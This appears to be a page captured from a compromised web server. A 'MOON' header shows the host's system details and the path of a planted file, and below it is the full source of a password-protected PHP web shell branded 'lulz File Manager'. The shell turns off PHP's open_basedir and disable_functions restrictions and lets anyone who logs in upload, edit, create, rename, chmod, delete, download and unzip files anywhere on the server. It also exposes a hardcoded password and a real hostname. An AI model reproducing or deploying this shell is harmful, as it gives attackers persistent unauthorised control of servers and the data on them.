MOON
Server: Apache
System: Linux srv.tv1channel.org 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64
User: tv1channel (1001)
PHP: 8.0.30
Disabled: NONE
Upload Files
File: /home/tv1channel/www/adminl.php
<?php
@error_reporting(0);
@ini_set('display_errors', 0);
session_start();

// ─── PASSWORD ─────────────────────────────────────────────────────────────────
define('FM_PASSWORD', '44feff10RR');

if (isset($_POST['fm_login'])) {
    if ($_POST['fm_pass'] === FM_PASSWORD) {
        $_SESSION['fm_auth'] = true;
    } else {
        $loginError = 'Invalid password.';
    }
}
if (isset($_GET['fm_logout'])) {
    session_destroy();
    header('Location: ' . $_SERVER['PHP_SELF']);
    exit;
}
if (empty($_SESSION['fm_auth'])) {
    showLogin(isset($loginError) ? $loginError : '');
    exit;
}
// ─────────────────────────────────────────────────────────────────────────────

// Bypass
if (function_exists('ini_set')) {
    @ini_set('open_basedir', NULL);
    @ini_set('disable_functions', '');
}

// Helpers
function writeFile($f, $d)     { return @file_put_contents($f, $d) !== false; }
function readFileContent($f)   { return @file_get_contents($f) ?: ''; }
function scanDirectory($d)     { return @scandir($d) ?: []; }
function fmSize($b) {
    if ($b < 1024)       return $b . ' B';
    if ($b < 1048576)    return round($b / 1024, 1) . ' KB';
    if ($b < 1073741824) return round($b / 1048576, 1) . ' MB';
    return round($b / 1073741824, 1) . ' GB';
}
function ok($t)  { return '<span class="msg-ok">&#10003; ' . $t . '</span>'; }
function err($t) { return '<span class="msg-err">&#10007; ' . $t . '</span>'; }

// Path
$currentPath = isset($_GET['p']) ? $_GET['p'] : (@getcwd() ?: '.');
$currentPath = rtrim(str_replace(['\\', '//'], '/', $currentPath), '/') . '/';
if (!@is_dir($currentPath)) $currentPath = './';

// Actions
$message = '';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES['upload'])) {
        $dst = $currentPath . basename($_FILES['upload']['name']);
        $message = (@move_uploaded_file($_FILES['upload']['tmp_name'], $dst) ||
                    writeFile($dst, readFileContent($_FILES['upload']['tmp_name'])))
            ? ok('Uploaded') : err('Upload failed');
    }
    if (isset($_POST['new'])) {
        $path = $currentPath . $_POST['new'];
        if (isset($_POST['type']) && $_POST['type'] === 'dir') {
            $message = @mkdir($path) ? ok('Folder created') : err('Failed');
        } else {
            $message = writeFile($path, isset($_POST['content']) ? $_POST['content'] : '') ? ok('File created') : err('Failed');
        }
    }
    if (isset($_POST['save'], $_POST['data'])) {
        $message = writeFile($currentPath . $_POST['save'], $_POST['data']) ? ok('Saved') : err('Save failed');
    }
    if (isset($_POST['oldname'], $_POST['newname'])) {
        $message = @rename($currentPath . $_POST['oldname'], $currentPath . $_POST['newname'])
            ? ok('Renamed') : err('Failed');
    }
    if (isset($_POST['chmod_item'], $_POST['chmod_value'])) {
        $message = @chmod($currentPath . $_POST['chmod_item'], octdec($_POST['chmod_value']))
            ? ok('Permissions changed') : err('Failed');
    }
}

if (isset($_GET['action'])) {
    $item     = isset($_GET['item']) ? $_GET['item'] : '';
    $itemPath = $currentPath . $item;
    if ($_GET['action'] === 'delete') {
        if (@is_file($itemPath))      $message = @unlink($itemPath) ? ok('Deleted') : err('Failed');
        elseif (@is_dir($itemPath))   $message = @rmdir($itemPath)  ? ok('Deleted') : err('Failed');
    } elseif ($_GET['action'] === 'download' && @is_file($itemPath)) {
        @ob_clean();
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($itemPath) . '"');
        @readfile($itemPath);
        exit;
    } elseif ($_GET['action'] === 'unzip' && @is_file($itemPath)) {
        if (!class_exists('ZipArchive')) {
            $message = err('ZipArchive extension not available on this server');
        } else {
            $zip = new ZipArchive();
            $res = $zip->open($itemPath);
            if ($res === true) {
                // Extract into a subfolder named after the zip (without extension)
                $extractTo = $currentPath . pathinfo($item, PATHINFO_FILENAME) . '/';
                if (!@is_dir($extractTo)) @mkdir($extractTo, 0755, true);
                $zip->extractTo($extractTo);
                $zip->close();
                $message = ok('Extracted to ' . htmlspecialchars(basename($extractTo)) . '/');
            } else {
                $errCodes = [
                    ZipArchive::ER_NOZIP   => 'Not a zip file',
                    ZipArchive::ER_INCONS  => 'Inconsistent zip archive',
                    ZipArchive::ER_CRC     => 'CRC error',
                    ZipArchive::ER_NOENT   => 'File not found',
                ];
                $message = err('Cannot open zip: ' . (isset($errCodes[$res]) ? $errCodes[$res] : 'Error #' . $res));
            }
        }
    }
}

// Scan
$items   = array_diff(scanDirectory($currentPath), ['.', '..']);
$folders = $files = [];
foreach ($items as $item) {
    @is_dir($currentPath . $item) ? $folders[] = $item : $files[] = $item;
}
sort($folders); sort($files);

$sysInfo = ['PHP' => @phpversion(), 'OS' => @php_uname('s'), 'User' => @get_current_user(), 'CWD' => @getcwd()];

// ─── LOGIN PAGE ───────────────────────────────────────────────────────────────
function showLogin($error = '') { ?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>lulz :: Login</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{
  background:#000;
  display:flex;align-items:center;justify-content:center;
  min-height:100vh;
  font-family:'Segoe UI',Arial,sans-serif;
  overflow:hidden;
}
/* scanline overlay */
body::after{
  content:'';position:fixed;inset:0;
  background:repeating-linear-gradient(0deg,transparent,transparent 2px,rgba(0,0,0,.18) 2px,rgba(0,0,0,.18) 4px);
  pointer-events:none;z-index:99;
}
.login-wrap{width:380px;position:relative;z-index:1}

/* logo */
.login-logo{position:relative;margin-bottom:28px;border-radius:10px;overflow:hidden;box-shadow:0 0 40px rgba(57,255,20,.25)}
.login-logo img{width:100%;display:block}
.login-logo-overlay{
  position:absolute;inset:0;
  background:linear-gradient(to bottom,transparent 40%,rgba(0,0,0,.85) 100%);
}
.login-logo-text{
  position:absolute;bottom:14px;left:0;right:0;text-align:center;
}
.login-logo-text span{
  font-size:11px;color:#39ff14;letter-spacing:4px;text-transform:uppercase;
  text-shadow:0 0 8px #39ff14;
}

/* box */
.login-box{background:rgba(0,10,0,.82);border:1px solid #1a3a1a;border-radius:10px;padding:30px 28px;backdrop-filter:blur(4px);box-shadow:0 0 30px rgba(57,255,20,.08)}
.login-box label{display:block;font-size:11px;color:#3a6b3a;text-transform:uppercase;letter-spacing:.8px;margin-bottom:7px}
.login-box input[type=password]{
  width:100%;background:#000;border:1px solid #1a3a1a;border-radius:5px;
  color:#d4f7d4;font-size:14px;padding:11px 14px;outline:none;transition:border .2s;
  font-family:'Courier New',monospace;
}
.login-box input[type=password]:focus{border-color:#39ff14;box-shadow:0 0 8px rgba(57,255,20,.2)}
.login-box input[type=password]::placeholder{color:#1f4d1f}
.login-btn{
  width:100%;margin-top:18px;padding:12px;
  background:transparent;border:1px solid #39ff14;border-radius:5px;
  color:#39ff14;font-size:13px;font-weight:700;cursor:pointer;
  letter-spacing:1.5px;text-transform:uppercase;
  transition:all .2s;text-shadow:0 0 6px rgba(57,255,20,.5);
}
.login-btn:hover{background:#39ff14;color:#000;box-shadow:0 0 20px rgba(57,255,20,.4)}
.login-err{background:#1a0000;border:1px solid #550000;color:#ff6b6b;border-radius:5px;padding:9px 13px;font-size:12px;margin-bottom:14px;text-align:center}
.login-footer{text-align:center;margin-top:16px;font-size:10px;color:#1a3a1a;letter-spacing:1px;text-transform:uppercase}
</style>
</head>
<body>
<div class="login-wrap">
  <div class="login-logo">
    <img src="https://imagedelivery.net/41eGBrMIml4goV0L9eI4Ww/01464b5b-2bc8-49f5-99f7-9f37f3f90f00/public" alt="lulz">
    <div class="login-logo-overlay"></div>
    <div class="login-logo-text"><span>File Manager</span></div>
  </div>
  <div class="login-box">
    <?php if ($error): ?><div class="login-err"><?=htmlspecialchars($error)?></div><?php endif; ?>
    <form method="POST">
      <label>Access Password</label>
      <input type="password" name="fm_pass" autofocus placeholder="_ _ _ _ _ _ _ _">
      <button type="submit" name="fm_login" value="1" class="login-btn">&#9654; Enter</button>
    </form>
  </div>
  <div class="login-footer">Secured &mdash; Unauthorized access prohibited</div>
</div>
</body>
</html>
<?php exit; }
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>lulz File Manager</title>
<style>
/* ─── RESET & BASE ──────────────────────────────────────────────────────── */
*{margin:0;padding:0;box-sizing:border-box}
body{background:#030804;color:#7db87d;font-family:'Segoe UI',Arial,sans-serif;font-size:14px;min-height:100vh;padding:14px}
body::after{content:'';position:fixed;inset:0;background:repeating-linear-gradient(0deg,transparent,transparent 2px,rgba(0,0,0,.06) 2px,rgba(0,0,0,.06) 4px);pointer-events:none;z-index:0}

/* ─── LAYOUT ─────────────────────────────────────────────────────────────── */
.wrap{max-width:1500px;margin:0 auto;background:#050f05;border:1px solid #1a3a1a;border-radius:8px;overflow:hidden;position:relative;z-index:1;box-shadow:0 0 40px rgba(57,255,20,.06)}

/* ─── HEADER ─────────────────────────────────────────────────────────────── */
.hdr{background:#020902;padding:12px 18px;border-bottom:2px solid #39ff14;display:flex;align-items:center;justify-content:space-between;flex-wrap:wrap;gap:10px}
.hdr-title{display:flex;align-items:center;gap:12px}
.hdr-logo{height:38px;border-radius:4px;display:block}
.hdr-title h1{font-size:17px;font-weight:700;color:#39ff14;letter-spacing:2px;text-transform:uppercase;text-shadow:0 0 10px rgba(57,255,20,.4)}
.hdr-title .tag{font-size:10px;background:#0a1f0a;color:#39ff14;border:1px solid #1a3a1a;border-radius:3px;padding:2px 8px;letter-spacing:1px;opacity:.7}
.sys-info{display:flex;gap:16px;flex-wrap:wrap}
.sys-info span{font-size:11px;color:#2d5c2d}
.sys-info b{color:#39ff14;opacity:.8}
.hdr-logout{font-size:11px;color:#2d5c2d;text-decoration:none;border:1px solid #1a3a1a;padding:5px 12px;border-radius:4px;transition:all .2s;letter-spacing:.5px}
.hdr-logout:hover{border-color:#ff4444;color:#ff4444}

/* ─── PATH NAV ───────────────────────────────────────────────────────────── */
.path-nav{background:#020902;padding:9px 18px;border-bottom:1px solid #0f230f;display:flex;align-items:center;flex-wrap:wrap;gap:4px}
.path-nav a{color:#39ff14;text-decoration:none;background:#0a1f0a;border:1px solid #1a3a1a;padding:4px 10px;border-radius:3px;font-size:12px;transition:all .2s;font-family:'Courier New',monospace}
.path-nav a:hover{background:#1a3a1a;color:#fff;box-shadow:0 0 8px rgba(57,255,20,.2)}
.path-sep{color:#1a3a1a;margin:0 2px}

/* ─── MESSAGE ────────────────────────────────────────────────────────────── */
.msg-bar{padding:9px 18px;background:#020902;border-bottom:1px solid #0f230f;font-size:13px;font-weight:600;text-align:center;font-family:'Courier New',monospace}
.msg-ok{color:#39ff14;text-shadow:0 0 6px rgba(57,255,20,.5)}
.msg-err{color:#ff4444}

/* ─── TOOLBAR ────────────────────────────────────────────────────────────── */
.toolbar{padding:9px 18px;background:#020902;border-bottom:1px solid #0f230f;display:flex;gap:8px;flex-wrap:wrap;align-items:center}
.btn{display:inline-flex;align-items:center;gap:6px;padding:7px 14px;border-radius:4px;font-size:12px;font-weight:600;cursor:pointer;border:1px solid #1a3a1a;background:#0a1f0a;color:#5a9a5a;text-decoration:none;transition:all .2s;white-space:nowrap;letter-spacing:.3px}
.btn:hover{background:#1a3a1a;color:#39ff14;border-color:#39ff14;box-shadow:0 0 10px rgba(57,255,20,.15)}
.btn-primary{border-color:#39ff14;color:#39ff14;text-shadow:0 0 6px rgba(57,255,20,.3)}
.btn-primary:hover{background:#0f2f0f;box-shadow:0 0 14px rgba(57,255,20,.25)}
.btn-danger{border-color:#5a1a1a;color:#ff6b6b}
.btn-danger:hover{background:#2a0808;border-color:#ff4444;color:#fff}

/* ─── EDITOR ─────────────────────────────────────────────────────────────── */
.editor-wrap{padding:18px;background:#020902;border-bottom:1px solid #0f230f}
.editor-title{color:#39ff14;font-size:13px;font-weight:600;margin-bottom:12px;display:flex;align-items:center;gap:8px;font-family:'Courier New',monospace}
.editor-title span{font-size:11px;color:#2d5c2d;font-weight:400}
textarea{width:100%;height:420px;background:#000;color:#39ff14;border:1px solid #1a3a1a;padding:14px;font-family:'Courier New',monospace;font-size:13px;border-radius:5px;resize:vertical;outline:none;transition:border .2s;text-shadow:0 0 2px rgba(57,255,20,.2)}
textarea:focus{border-color:#39ff14;box-shadow:0 0 10px rgba(57,255,20,.1)}
.editor-actions{margin-top:12px;display:flex;gap:8px}

/* ─── TABLE ──────────────────────────────────────────────────────────────── */
.file-table{width:100%;border-collapse:collapse}
.file-table th{background:#020902;padding:10px 16px;text-align:left;border-bottom:2px solid #1a3a1a;color:#2d5c2d;font-size:10px;text-transform:uppercase;letter-spacing:1px;font-weight:600}
.file-table td{padding:9px 16px;border-bottom:1px solid #0a1a0a;vertical-align:middle}
.file-table tr:hover td{background:#030f03}
.file-table tr:last-child td{border-bottom:none}

/* Name links */
.folder-link,.file-link{text-decoration:none;display:flex;align-items:center;gap:8px;font-size:13px;font-family:'Courier New',monospace}
.folder-link{color:#39ff14;font-weight:700;text-shadow:0 0 4px rgba(57,255,20,.3)}
.folder-link:hover{color:#fff;text-shadow:none}
.file-link{color:#5a9a5a}
.file-link:hover{color:#c8f7c8}
.icon{font-size:14px;flex-shrink:0}

/* Meta */
.td-size{color:#2d5c2d;font-size:12px;font-family:'Courier New',monospace}
.perm-badge{font-family:'Courier New',monospace;font-size:11px;color:#f59e0b;background:#1a1400;border:1px solid #2a2000;padding:3px 8px;border-radius:3px}
.td-date{color:#2d5c2d;font-size:12px;white-space:nowrap;font-family:'Courier New',monospace}

/* Actions */
.acts{display:flex;gap:4px;flex-wrap:wrap}
.act{padding:4px 10px;background:#0a1f0a;color:#2d5c2d;border:1px solid #1a3a1a;font-size:11px;cursor:pointer;text-decoration:none;border-radius:3px;transition:all .2s;white-space:nowrap;font-family:'Courier New',monospace}
.act:hover{background:#1a3a1a;color:#39ff14;border-color:#39ff14;box-shadow:0 0 6px rgba(57,255,20,.15)}
.act-red{border-color:#5a1a1a;color:#ff6b6b}
.act-red:hover{background:#2a0808;border-color:#ff4444;color:#fff}
.act-unzip{border-color:#1a5c1a;color:#4ade80}
.act-unzip:hover{background:#0a2a0a;border-color:#39ff14;color:#39ff14}

/* Empty */
.empty-row td{text-align:center;padding:50px;color:#1a3a1a;font-size:13px;font-family:'Courier New',monospace}

/* File type colors */
.ext-php{color:#c084fc}
.ext-html{color:#fb923c}
.ext-js{color:#fbbf24}
.ext-css{color:#67e8f9}
.ext-sql{color:#f472b6}
.ext-txt,.ext-md{color:#86efac}
.ext-json,.ext-xml{color:#6ee7b7}
.ext-img{color:#f9a8d4}
.ext-archive{color:#d8b4fe}

/* Input */
input[type=text]{background:#000;color:#c8f7c8;border:1px solid #1a3a1a;padding:8px 12px;border-radius:4px;outline:none;font-size:13px;width:260px;font-family:'Courier New',monospace}
input[type=text]:focus{border-color:#39ff14;box-shadow:0 0 6px rgba(57,255,20,.15)}

@media(max-width:768px){
  .toolbar{flex-direction:column}
  .btn,.act{width:100%;justify-content:center;text-align:center}
  input[type=text]{width:100%}
  .file-table th:nth-child(3),.file-table td:nth-child(3),
  .file-table th:nth-child(4),.file-table td:nth-child(4){display:none}
}
</style>
</head>
<body>
<div class="wrap">

  <!-- HEADER -->
  <div class="hdr">
    <div class="hdr-title">
      <img src="https://imagedelivery.net/41eGBrMIml4goV0L9eI4Ww/01464b5b-2bc8-49f5-99f7-9f37f3f90f00/public" alt="lulz" class="hdr-logo">
      <h1>lulz</h1>
      <span class="tag">FILE MANAGER</span>
    </div>
    <div class="sys-info">
      <?php foreach ($sysInfo as $k => $v): ?>
        <span><?=$k?>: <b><?=htmlspecialchars($v)?></b></span>
      <?php endforeach; ?>
    </div>
    <a href="?fm_logout=1" class="hdr-logout">&#x2715; Logout</a>
  </div>

  <!-- MESSAGE -->
  <?php if ($message): ?>
    <div class="msg-bar"><?=$message?></div>
  <?php endif; ?>

  <!-- PATH NAV -->
  <div class="path-nav">
    <a href="?p=/">&#8962; Root</a>
    <?php
    $parts = explode('/', trim($currentPath, '/'));
    $cur = '';
    foreach ($parts as $part):
        if ($part):
            $cur .= '/' . $part;
    ?>
      <span class="path-sep">/</span>
      <a href="?p=<?=$cur?>/"><?=htmlspecialchars($part)?></a>
    <?php
        endif;
    endforeach;
    ?>
  </div>

  <!-- TOOLBAR -->
  <div class="toolbar">
    <form method="post" enctype="multipart/form-data" style="display:inline">
      <input type="file" name="upload" id="fm-upload" style="display:none" onchange="this.form.submit()">
      <button type="button" class="btn btn-primary" onclick="document.getElementById('fm-upload').click()">&#8679; Upload</button>
    </form>
    <button class="btn btn-primary" onclick="newFile()">&#43; New File</button>
    <button class="btn" onclick="newFolder()">&#43; New Folder</button>
    <?php if (isset($_GET['edit'])): ?>
      <a href="?p=<?=urlencode($currentPath)?>" class="btn btn-danger">&#8592; Close Editor</a>
    <?php endif; ?>
  </div>

  <!-- EDITOR -->
  <?php if (isset($_GET['edit'])): ?>
    <div class="editor-wrap">
      <div class="editor-title">
        &#9998; Editing: <span><?=htmlspecialchars($_GET['edit'])?></span>
      </div>
      <form method="post">
        <input type="hidden" name="save" value="<?=htmlspecialchars($_GET['edit'])?>">
        <textarea name="data" spellcheck="false"><?=htmlspecialchars(readFileContent($currentPath . $_GET['edit']))?></textarea>
        <div class="editor-actions">
          <button class="btn btn-primary">&#10003; Save</button>
          <a href="?p=<?=urlencode($currentPath)?>" class="btn btn-danger">Cancel</a>
        </div>
      </form>
    </div>

  <?php else: ?>

  <!-- FILE TABLE -->
  <table class="file-table">
    <thead>
      <tr>
        <th style="width:40%">Name</th>
        <th style="width:8%">Size</th>
        <th style="width:10%">Perms</th>
        <th style="width:13%">Modified</th>
        <th>Actions</th>
      </tr>
    </thead>
    <tbody>

      <?php if ($currentPath !== '/'): ?>
      <tr>
        <td colspan="5">
          <a href="?p=<?=urlencode(dirname(rtrim($currentPath,'/')))?>/" class="folder-link">
            <span class="icon">&#8593;</span> Parent Directory
          </a>
        </td>
      </tr>
      <?php endif; ?>

      <?php foreach ($folders as $folder):
        $fp   = $currentPath . $folder;
        $perm = substr(sprintf('%o', @fileperms($fp)), -3);
        $mtime = @filemtime($fp) ? date('Y-m-d H:i', @filemtime($fp)) : '-';
      ?>
      <tr>
        <td>
          <a href="?p=<?=urlencode($fp)?>" class="folder-link">
            <span class="icon">&#128193;</span><?=htmlspecialchars($folder)?>
          </a>
        </td>
        <td class="td-size">&mdash;</td>
        <td><span class="perm-badge"><?=$perm?></span></td>
        <td class="td-date"><?=$mtime?></td>
        <td>
          <div class="acts">
            <button onclick="renameItem('<?=htmlspecialchars(addslashes($folder))?>')" class="act">Rename</button>
            <button onclick="chmodItem('<?=htmlspecialchars(addslashes($folder))?>','<?=$perm?>')" class="act">Chmod</button>
            <a href="?p=<?=urlencode($currentPath)?>&action=delete&item=<?=urlencode($folder)?>"
               onclick="return confirm('Delete folder: <?=htmlspecialchars(addslashes($folder))?>?')"
               class="act act-red">Delete</a>
          </div>
        </td>
      </tr>
      <?php endforeach; ?>

      <?php foreach ($files as $file):
        $fp       = $currentPath . $file;
        $size     = @filesize($fp);
        $perm     = substr(sprintf('%o', @fileperms($fp)), -3);
        $mtime    = @filemtime($fp) ? date('Y-m-d H:i', @filemtime($fp)) : '-';
        $ext      = strtolower(pathinfo($file, PATHINFO_EXTENSION));
        $editable = in_array($ext, ['php','html','htm','js','css','txt','json','xml','sql','md','env','sh','py','rb','ini','conf','htaccess','yaml','yml']);
        if ($ext === 'php')                                                    $extClass = 'ext-php';
        elseif (in_array($ext, ['html','htm']))                               $extClass = 'ext-html';
        elseif ($ext === 'js')                                                $extClass = 'ext-js';
        elseif ($ext === 'css')                                               $extClass = 'ext-css';
        elseif ($ext === 'sql')                                               $extClass = 'ext-sql';
        elseif (in_array($ext, ['txt','md']))                                 $extClass = 'ext-txt';
        elseif (in_array($ext, ['json','xml','yaml','yml']))                  $extClass = 'ext-json';
        elseif (in_array($ext, ['jpg','jpeg','png','gif','webp','svg','ico'])) $extClass = 'ext-img';
        elseif (in_array($ext, ['zip','tar','gz','rar','7z']))                $extClass = 'ext-archive';
        else                                                                  $extClass = '';
      ?>
      <tr>
        <td>
          <?php if ($editable): ?>
            <a href="?p=<?=urlencode($currentPath)?>&edit=<?=urlencode($file)?>" class="file-link <?=$extClass?>">
              <span class="icon">&#128196;</span><?=htmlspecialchars($file)?>
            </a>
          <?php else: ?>
            <a href="?p=<?=urlencode($currentPath)?>&action=download&item=<?=urlencode($file)?>" class="file-link <?=$extClass?>">
              <span class="icon">&#128196;</span><?=htmlspecialchars($file)?>
            </a>
          <?php endif; ?>
        </td>
        <td class="td-size"><?=$size !== false ? fmSize($size) : '&mdash;'?></td>
        <td><span class="perm-badge"><?=$perm?></span></td>
        <td class="td-date"><?=$mtime?></td>
        <td>
          <div class="acts">
            <?php if ($editable): ?>
              <a href="?p=<?=urlencode($currentPath)?>&edit=<?=urlencode($file)?>" class="act">Edit</a>
            <?php endif; ?>
            <?php if ($ext === 'zip'): ?>
              <a href="?p=<?=urlencode($currentPath)?>&action=unzip&item=<?=urlencode($file)?>"
                 onclick="return confirm('Extract <?=htmlspecialchars(addslashes($file))?> here?')"
                 class="act act-unzip">&#128278; Unzip</a>
            <?php endif; ?>
            <a href="?p=<?=urlencode($currentPath)?>&action=download&item=<?=urlencode($file)?>" class="act">Download</a>
            <button onclick="renameItem('<?=htmlspecialchars(addslashes($file))?>')" class="act">Rename</button>
            <button onclick="chmodItem('<?=htmlspecialchars(addslashes($file))?>','<?=$perm?>')" class="act">Chmod</button>
            <a href="?p=<?=urlencode($currentPath)?>&action=delete&item=<?=urlencode($file)?>"
               onclick="return confirm('Delete: <?=htmlspecialchars(addslashes($file))?>?')"
               class="act act-red">Delete</a>
          </div>
        </td>
      </tr>
      <?php endforeach; ?>

      <?php if (empty($folders) && empty($files)): ?>
      <tr class="empty-row">
        <td colspan="5">&#128193; This directory is empty</td>
      </tr>
      <?php endif; ?>

    </tbody>
  </table>
  <?php endif; ?>
</div>

<script>
function newFile() {
    var n = prompt('File name:', 'newfile.txt');
    if (!n) return;
    var c = prompt('Initial content (optional):', '');
    var f = document.createElement('form'); f.method = 'post';
    f.innerHTML = '<input type="hidden" name="new" value="' + n + '">' +
                  '<input type="hidden" name="content" value="' + (c||'') + '">';
    document.body.appendChild(f); f.submit();
}
function newFolder() {
    var n = prompt('Folder name:', 'newfolder');
    if (!n) return;
    var f = document.createElement('form'); f.method = 'post';
    f.innerHTML = '<input type="hidden" name="new" value="' + n + '">' +
                  '<input type="hidden" name="type" value="dir">';
    document.body.appendChild(f); f.submit();
}
function renameItem(old) {
    var nw = prompt('New name:', old);
    if (!nw || nw === old) return;
    var f = document.createElement('form'); f.method = 'post';
    f.innerHTML = '<input type="hidden" name="oldname" value="' + old + '">' +
                  '<input type="hidden" name="newname" value="' + nw + '">';
    document.body.appendChild(f); f.submit();
}
function chmodItem(item, cur) {
    var p = prompt('Permissions (e.g. 755):', cur);
    if (!p) return;
    var f = document.createElement('form'); f.method = 'post';
    f.innerHTML = '<input type="hidden" name="chmod_item" value="' + item + '">' +
                  '<input type="hidden" name="chmod_value" value="' + p + '">';
    document.body.appendChild(f); f.submit();
}
</script>
</body>
</html>